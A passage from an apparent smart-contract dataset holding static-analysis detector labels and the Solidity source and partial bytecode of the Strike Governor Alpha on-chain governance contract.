7fe5b6000918252602090912001546001608060020a0316105b1561139b578354849061133f82600183016113e6565b8154811061134957fe5b600091825260209091200180546001608060020a03858116700100000000000000000000000000000000024382166fffffffffffffffffffffffffffffffff19909316929092171617815591506113e0565b8354849060001981019081106113ad57fe5b600091825260209091200180546001608060020a0380861670010000000000000000000000000000000002911617815590505b50505050565b815481835581811115610d7e57600083815260209020610d7e91810190830161079691905b8082111561141f576000815560010161140b565b50905600a165627a7a72305820e3ad4c5e9c5666834e79684c2968772453ec3be759c9db1a6e9bf1fddbb5ae400029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
8,877
0xe9b4050616a2404AA42F678A1db9EDF14209c3d2
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Strike Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 260753e18; } // 260753 = 4% of STRK /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 65188e18; } // 65188 = 1% of STRK /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 50; } // 50 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Strike Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Strike governance token StrkInterface public strk; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address strk_, address guardian_) public { timelock = TimelockInterface(timelock_); strk = StrkInterface(strk_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(strk.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || strk.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = strk.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface StrkInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461046e578063e23a9a5214610483578063f24e5343146104b0578063fe0d94c1146104c55761019c565b8063da35c66414610419578063da95691a1461042e578063ddf0b0091461044e5761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612445565b6104d8565b6040516101d69998979695949392919061355e565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d6919061328b565b34801561020d57600080fd5b50610216610538565b6040516101d69190613347565b34801561022f57600080fd5b5061024361023e366004612493565b610569565b005b34801561025157600080fd5b506101f4610260366004612288565b610578565b34801561027157600080fd5b506101f461058a565b34801561028657600080fd5b506102436102953660046122ae565b6105a1565b3480156102a657600080fd5b506101f4610688565b3480156102bb57600080fd5b506102cf6102ca366004612445565b610696565b6040516101d6949392919061323e565b3480156102eb57600080fd5b506101f4610925565b34801561030057600080fd5b5061031461030f366004612445565b61092a565b6040516101d69190613339565b34801561032d57600080fd5b5061024361033c366004612445565b610aac565b34801561034d57600080fd5b50610356610d15565b6040516101d691906130e8565b34801561036f57600080fd5b5061024361037e3660046124c3565b610d24565b34801561038f57600080fd5b50610243610eb9565b3480156103a457600080fd5b506101f4610ef5565b3480156103b957600080fd5b506102436103c83660046122ae565b610efa565b3480156103d957600080fd5b506101f4610fcf565b3480156103ee57600080fd5b50610243610fdd565b34801561040357600080fd5b5061040c611062565b6040516101d6919061332b565b34801561042557600080fd5b506101f4611071565b34801561043a57600080fd5b506101f46104493660046122e8565b611077565b34801561045a57600080fd5b50610243610469366004612445565b611499565b34801561047a57600080fd5b506101f4611703565b34801561048f57600080fd5b506104a361049e366004612463565b61170f565b6040516101d691906134a8565b3480156104bc57600080fd5b5061040c61177e565b6102436104d3366004612445565b61178d565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b6143805b90565b60405180604001604052806015815260200174537472696b6520476f7665726e6f7220416c70686160581b81525081565b610574338383611952565b5050565b60056020526000908152604090205481565b604051610596906130d2565b604051809103902081565b6002546001600160a01b031633146105d45760405162461bcd60e51b81526004016105cb90613388565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f918391906105fe9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062d9493929190613111565b600060405180830381600087803b15801561064757600080fd5b505af115801561065b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106839190810190612410565b505050565b69373772cde36577a4000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561071857602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106fa575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076a57602002820191906000526020600020905b815481526020019060010190808311610756575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561083d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108295780601f106107fe57610100808354040283529160200191610829565b820191906000526020600020905b81548152906001019060200180831161080c57829003601f168201915b505050505081526020019060010190610792565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561090f5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108fb5780601f106108d0576101008083540402835291602001916108fb565b820191906000526020600020905b8154815290600101906020018083116108de57829003601f168201915b505050505081526020019060010190610864565b5050505090509450945094509450509193509193565b600190565b6000816003541015801561093e5750600082115b61095a5760405162461bcd60e51b81526004016105cb90613398565b6000828152600460205260409020600b81015460ff161561097f576002915050610aa7565b80600701544311610994576000915050610aa7565b806008015443116109a9576001915050610aa7565b80600a015481600901541115806109ca57506109c3610688565b8160090154105b156109d9576003915050610aa7565b60028101546109ec576004915050610aa7565b600b810154610100900460ff1615610a08576007915050610aa7565b6002810154600054604080516360d143f160e11b81529051610a9193926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b158015610a5457600080fd5b505afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a8c91908101906123f2565b611b1b565b4210610aa1576006915050610aa7565b60059150505b919050565b6000610ab78261092a565b90506007816007811115610ac757fe5b1415610ae55760405162461bcd60e51b81526004016105cb90613468565b60008281526004602052604090206002546001600160a01b0316331480610bb05750610b0f610fcf565b60018054838201546001600160a01b039182169263782d6fe19290911690610b38904390611b47565b6040518363ffffffff1660e01b8152600401610b55929190613160565b60206040518083038186803b158015610b6d57600080fd5b505afa158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ba5919081019061252b565b6001600160601b0316105b610bcc5760405162461bcd60e51b81526004016105cb906133f8565b600b8101805460ff1916600117905560005b6003820154811015610cd8576000546003830180546001600160a01b039092169163591fcdfe919084908110610c1057fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c3857fe5b9060005260206000200154856005018581548110610c5257fe5b90600052602060002001866006018681548110610c6b57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c9a9594939291906131fd565b600060405180830381600087803b158015610cb457600080fd5b505af1158015610cc8573d6000803e3d6000fd5b505060019092019150610bde9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d08919061328b565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610d32906130d2565b604080519182900382208282019091526015825274537472696b6520476f7665726e6f7220416c70686160581b6020909201919091527fb7cbbca0a91fe0fca163c2e5cc536ed5ccbd8dbd4a0af5db09b256ba5339a9ab610d91611b6f565b30604051602001610da59493929190613299565b6040516020818303038152906040528051906020012090506000604051610dcb906130dd565b604051908190038120610de491899089906020016132ce565b60405160208183030381529060405280519060200120905060008282604051602001610e119291906130a1565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e4e94939291906132f6565b6020604051602081039080840390855afa158015610e70573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ea35760405162461bcd60e51b81526004016105cb90613458565b610eae818a8a611952565b505050505050505050565b6002546001600160a01b03163314610ee35760405162461bcd60e51b81526004016105cb90613498565b600280546001600160a01b0319169055565b603290565b6002546001600160a01b03163314610f245760405162461bcd60e51b81526004016105cb906133b8565b600080546040516001600160a01b0390911691633a66f90191839190610f4e9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f7d9493929190613111565b602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061068391908101906123f2565b690dcdd93b4b2c7410000090565b6002546001600160a01b031633146110075760405162461bcd60e51b81526004016105cb90613358565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561104857600080fd5b505af115801561105c573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611081610fcf565b600180546001600160a01b03169063782d6fe19033906110a2904390611b47565b6040518363ffffffff1660e01b81526004016110bf9291906130f6565b60206040518083038186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061110f919081019061252b565b6001600160601b0316116111355760405162461bcd60e51b81526004016105cb90613448565b84518651148015611147575083518651145b8015611154575082518651145b6111705760405162461bcd60e51b81526004016105cb906133e8565b855161118e5760405162461bcd60e51b81526004016105cb90613438565b611196610ef5565b865111156111b65760405162461bcd60e51b81526004016105cb906133c8565b3360009081526005602052604090205480156112335760006111d78261092a565b905060018160078111156111e757fe5b14156112055760405162461bcd60e51b81526004016105cb90613408565b600081600781111561121357fe5b14156112315760405162461bcd60e51b81526004016105cb90613428565b505b600061124143610a8c610925565b9050600061125182610a8c610531565b6003805460010190559050611264611cd2565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611347929190611d47565b5060808201518051611363916004840191602090910190611dac565b5060a0820151805161137f916005840191602090910190611df3565b5060c0820151805161139b916006840191602090910190611e4c565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611481999897969594939291906134b6565b60405180910390a15193505050505b95945050505050565b60046114a48261092a565b60078111156114af57fe5b146114cc5760405162461bcd60e51b81526004016105cb90613368565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115219442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a5457600080fd5b905060005b60038301548110156116c9576116c183600301828154811061154457fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061156c57fe5b906000526020600020015485600501848154811061158657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116145780601f106115e957610100808354040283529160200191611614565b820191906000526020600020905b8154815290600101906020018083116115f757829003601f168201915b505050505086600601858154811061162857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116b65780601f1061168b576101008083540402835291602001916116b6565b820191906000526020600020905b81548152906001019060200180831161169957829003601f168201915b505050505086611b73565b600101611526565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d0890859084906135e4565b604051610596906130dd565b611717611ea5565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6001546001600160a01b031681565b60056117988261092a565b60078111156117a357fe5b146117c05760405162461bcd60e51b81526004016105cb90613378565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611916576000546004830180546001600160a01b0390921691630825f38f91908490811061181357fe5b906000526020600020015484600301848154811061182d57fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061185557fe5b906000526020600020015486600501868154811061186f57fe5b9060005260206000200187600601878154811061188857fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118b79594939291906131fd565b6000604051808303818588803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261190d9190810190612410565b506001016117e1565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611946919061328b565b60405180910390a15050565b600161195d8361092a565b600781111561196857fe5b146119855760405162461bcd60e51b81526004016105cb90613478565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119ce5760405162461bcd60e51b81526004016105cb906133a8565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a04918a91600401613160565b60206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a54919081019061252b565b90508315611a7d57611a738360090154826001600160601b0316611b1b565b6009840155611a9a565b611a9483600a0154826001600160601b0316611b1b565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b0b90889088908890869061316e565b60405180910390a1505050505050565b600082820183811015611b405760405162461bcd60e51b81526004016105cb906133d8565b9392505050565b600082821115611b695760405162461bcd60e51b81526004016105cb90613488565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611ba190889088908890889088906020016131a3565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bd3919061328b565b60206040518083038186803b158015611beb57600080fd5b505afa158015611bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c2391908101906123d4565b15611c405760405162461bcd60e51b81526004016105cb90613418565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c7890889088908890889088906004016131a3565b602060405180830381600087803b158015611c9257600080fd5b505af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cca91908101906123f2565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d9c579160200282015b82811115611d9c57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d67565b50611da8929150611ec5565b5090565b828054828255906000526020600020908101928215611de7579160200282015b82811115611de7578251825591602001919060010190611dcc565b50611da8929150611ee9565b828054828255906000526020600020908101928215611e40579160200282015b82811115611e405782518051611e30918491602090910190611f03565b5091602001919060010190611e13565b50611da8929150611f70565b828054828255906000526020600020908101928215611e99579160200282015b82811115611e995782518051611e89918491602090910190611f03565b5091602001919060010190611e6c565b50611da8929150611f93565b604080516060810182526000808252602082018190529181019190915290565b61053591905b80821115611da85780546001600160a01b0319168155600101611ecb565b61053591905b80821115611da85760008155600101611eef565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f4457805160ff1916838001178555611de7565b82800160010185558215611de75791820182811115611de7578251825591602001919060010190611dcc565b61053591905b80821115611da8576000611f8a8282611fb6565b50600101611f76565b61053591905b80821115611da8576000611fad8282611fb6565b50600101611f99565b50805460018160011615610100020316600290046000825580601f10611fdc5750611ffa565b601f016020900490600052602060002090810190611ffa9190611ee9565b50565b803561177881613738565b600082601f83011261201957600080fd5b813561202c61202782613619565b6135f2565b9150818183526020840193506020810190508385602084028201111561205157600080fd5b60005b8381101561207d57816120678882611ffd565b8452506020928301929190910190600101612054565b5050505092915050565b600082601f83011261209857600080fd5b81356120a661202782613619565b81815260209384019390925082018360005b8381101561207d57813586016120ce88826121dd565b84525060209283019291909101906001016120b8565b600082601f8301126120f557600080fd5b813561210361202782613619565b81815260209384019390925082018360005b8381101561207d578135860161212b88826121dd565b8452506020928301929190910190600101612115565b600082601f83011261215257600080fd5b813561216061202782613619565b9150818183526020840193506020810190508385602084028201111561218557600080fd5b60005b8381101561207d578161219b88826121c7565b8452506020928301929190910190600101612188565b80356117788161374c565b80516117788161374c565b803561177881613755565b805161177881613755565b600082601f8301126121ee57600080fd5b81356121fc6120278261363a565b9150808252602083016020830185838301111561221857600080fd5b6122238382846136ec565b50505092915050565b600082601f83011261223d57600080fd5b815161224b6120278261363a565b9150808252602083016020830185838301111561226757600080fd5b6122238382846136f8565b80356117788161375e565b805161177881613767565b60006020828403121561229a57600080fd5b60006122a68484611ffd565b949350505050565b600080604083850312156122c157600080fd5b60006122cd8585611ffd565b92505060206122de858286016121c7565b9150509250929050565b600080600080600060a0868803121561230057600080fd5b853567ffffffffffffffff81111561231757600080fd5b61232388828901612008565b955050602086013567ffffffffffffffff81111561234057600080fd5b61234c88828901612141565b945050604086013567ffffffffffffffff81111561236957600080fd5b612375888289016120e4565b935050606086013567ffffffffffffffff81111561239257600080fd5b61239e88828901612087565b925050608086013567ffffffffffffffff8111156123bb57600080fd5b6123c7888289016121dd565b9150509295509295909350565b6000602082840312156123e657600080fd5b60006122a684846121bc565b60006020828403121561240457600080fd5b60006122a684846121d2565b60006020828403121561242257600080fd5b815167ffffffffffffffff81111561243957600080fd5b6122a68482850161222c565b60006020828403121561245757600080fd5b60006122a684846121c7565b6000806040838503121561247657600080fd5b600061248285856121c7565b92505060206122de85828601611ffd565b600080604083850312156124a657600080fd5b60006124b285856121c7565b92505060206122de858286016121b1565b600080600080600060a086880312156124db57600080fd5b60006124e788886121c7565b95505060206124f8888289016121b1565b945050604061250988828901612272565b935050606061251a888289016121c7565b92505060806123c7888289016121c7565b60006020828403121561253d57600080fd5b60006122a6848461227d565b60006125558383612584565b505060200190565b6000611b408383612726565b6000612555838361270c565b61257e816136b9565b82525050565b61257e81613681565b600061259882613674565b6125a28185613678565b93506125ad83613662565b8060005b838110156125db5781516125c58882612549565b97506125d083613662565b9250506001016125b1565b509495945050505050565b60006125f182613674565b6125fb8185613678565b93508360208202850161260d85613662565b8060005b85811015612647578484038952815161262a858261255d565b945061263583613662565b60209a909a0199925050600101612611565b5091979650505050505050565b600061265f82613674565b6126698185613678565b93508360208202850161267b85613662565b8060005b858110156126475784840389528151612698858261255d565b94506126a383613662565b60209a909a019992505060010161267f565b60006126c082613674565b6126ca8185613678565b93506126d583613662565b8060005b838110156125db5781516126ed8882612569565b97506126f883613662565b9250506001016126d9565b61257e8161368c565b61257e81610535565b61257e61272182610535565b610535565b600061273182613674565b61273b8185613678565b935061274b8185602086016136f8565b61275481613724565b9093019392505050565b60008154600181166000811461277b57600181146127a1576127e0565b607f600283041661278c8187613678565b60ff19841681529550506020850192506127e0565b600282046127af8187613678565b95506127ba85613668565b60005b828110156127d9578154888201526001909101906020016127bd565b8701945050505b505092915050565b61257e816136c0565b61257e816136cb565b61257e816136d6565b6000612810603983613678565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b600061286f604483613678565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006128db604583613678565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612948600283610aa7565b61190160f01b815260020192915050565b6000612966604c83613678565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006129da601883613678565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a13602983613678565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612a5e602d83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612aad604a83613678565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612b1f602883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612b69601183613678565b70616464697